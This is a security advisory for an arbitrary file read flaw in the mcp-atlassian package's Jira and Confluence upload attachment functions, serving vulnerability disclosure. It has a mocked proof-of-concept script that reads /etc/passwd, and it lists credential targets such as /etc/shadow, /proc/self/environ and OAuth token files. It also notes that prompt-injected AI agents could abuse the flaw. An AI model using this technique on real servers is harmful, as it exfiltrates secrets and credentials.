PT-2026-105849 · Pypi · Mcp-Attlasian
Publicado
2026-10-01
·
Atualizado
2026-10-01
CVSS v3.1
6.5
Média
| Vetor | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
Summary
The
upload attachment functions in both the Jira and Confluence modules accept a user-controlled file path parameter and open the specified file for reading without calling validate safe path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the
download attachment and download issue attachments paths were hardened with validate safe path(), but the upload direction was left unguarded in both the Jira and Confluence modules.Details
Affected functions:
| File | Function | Line |
|---|---|---|
src/mcp atlassian/jira/attachments.py | upload attachment() | ~372–415 |
src/mcp atlassian/confluence/attachments.py | upload attachment() | ~62–108 |
src/mcp atlassian/confluence/attachments.py | upload attachment direct() | ~476–477 |
Jira — vulnerable code path (
jira/attachments.py):python
def upload attachment(self, issue key: str, file path: str) -> dict:
...
if not os.path.isabs(file path):
file path = os.path.abspath(file path) # resolves relative paths
if not os.path.exists(file path): # confirms file exists
...
# ⚠ validate safe path() is NEVER called here
filename = os.path.basename(file path)
with open(file path, "rb") as file: # arbitrary file opened
attachment = self.jira.add attachment(
issue key=issue key, filename=file path
)Compare with the protected download path in the same file:
python
def download attachment(self, url: str, target path: str) -> bool:
...
validate safe path(target path) # upload has no equivalentConfluence — vulnerable code path (
confluence/attachments.py):python
def upload attachment(self, content id, file path, ...):
...
if not os.path.isabs(file path):
file path = os.path.abspath(file path)
# ⚠ validate safe path() is NEVER called
filename = os.path.basename(file path)
attachment = self. upload attachment direct(
content id, file path, filename, comment, minor edit
)
# Inside upload attachment direct():
files = {"file": (filename, open(file path, "rb"))} # ← arbitrary file openedPoC
Tested against commit
d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.Jira PoC (
poc 001 jira path traversal.py):python
import sys, os, types
from unittest.mock import MagicMock
sys.path.insert(0, "src")
def make pkg(name):
m = types.ModuleType(name); m. path = []; sys.modules[name] = m; return m
atlassian pkg = make pkg("atlassian")
atlassian jira = make pkg("atlassian.jira")
atlassian pkg.jira = atlassian jira
atlassian jira.Jira = type("Jira", (), {
" init ": lambda s, *a, **k: None,
" session": MagicMock()
})
atlassian pkg.Jira = atlassian jira.Jira
keyring = make pkg("keyring")
keyring.get password = keyring.set password = lambda *a, **k: None
from mcp atlassian.jira.attachments import AttachmentsMixin
from mcp atlassian.jira.config import JiraConfig
config = JiraConfig(url="https://test.atlassian.net", auth type="basic",
username="x", api token="x")
class FakeFetcher(AttachmentsMixin):
def init (self):
self.config = config
self.jira = MagicMock()
self.jira.add attachment.return value = {"id": "99", "filename": "passwd"}
result = FakeFetcher().upload attachment(issue key="TEST-1", file path="/etc/passwd")
print(result)Observed output — Jira (Kali Linux, v0.21.1):
[*] Target file : /etc/passwd
[*] Calling : AttachmentsMixin.upload attachment()
[*] Return value: {'success': True, 'issue key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}
[*] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — file opened with no path validation
add attachment call args: call(issue key='TEST-1', filename='/etc/passwd')Observed output — Confluence (Kali Linux, v0.21.1):
[*] Target file : /etc/passwd
[*] Calling : ConfluenceAttachmentsMixin.upload attachment()
[*] Return value: {'success': True, 'content id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}
[*] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — /etc/passwd opened without validate safe path()
upload attachment() → upload attachment direct() → open(file path)
download attachment() in same file IS protected — asymmetric fixKey evidence:
success: True— no exception raised, no path validation triggeredsize: 3388—/etc/passwdwas opened and read byos.path.getsize()- Both modules affected independently — neither Jira nor Confluence has an upload-side guard
In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.
Impact
Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:
/etc/shadow— system password hashes/proc/self/environ— process environment variables (API keys, secrets)~/.mcp-atlassian/oauth-*.json— stored OAuth refresh tokens- SSH private keys, TLS certificates, application configuration files
No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the
jira upload attachment and confluence upload attachment MCP tools are affected.Root cause: The
validate safe path() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to download operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Mcp-Attlasian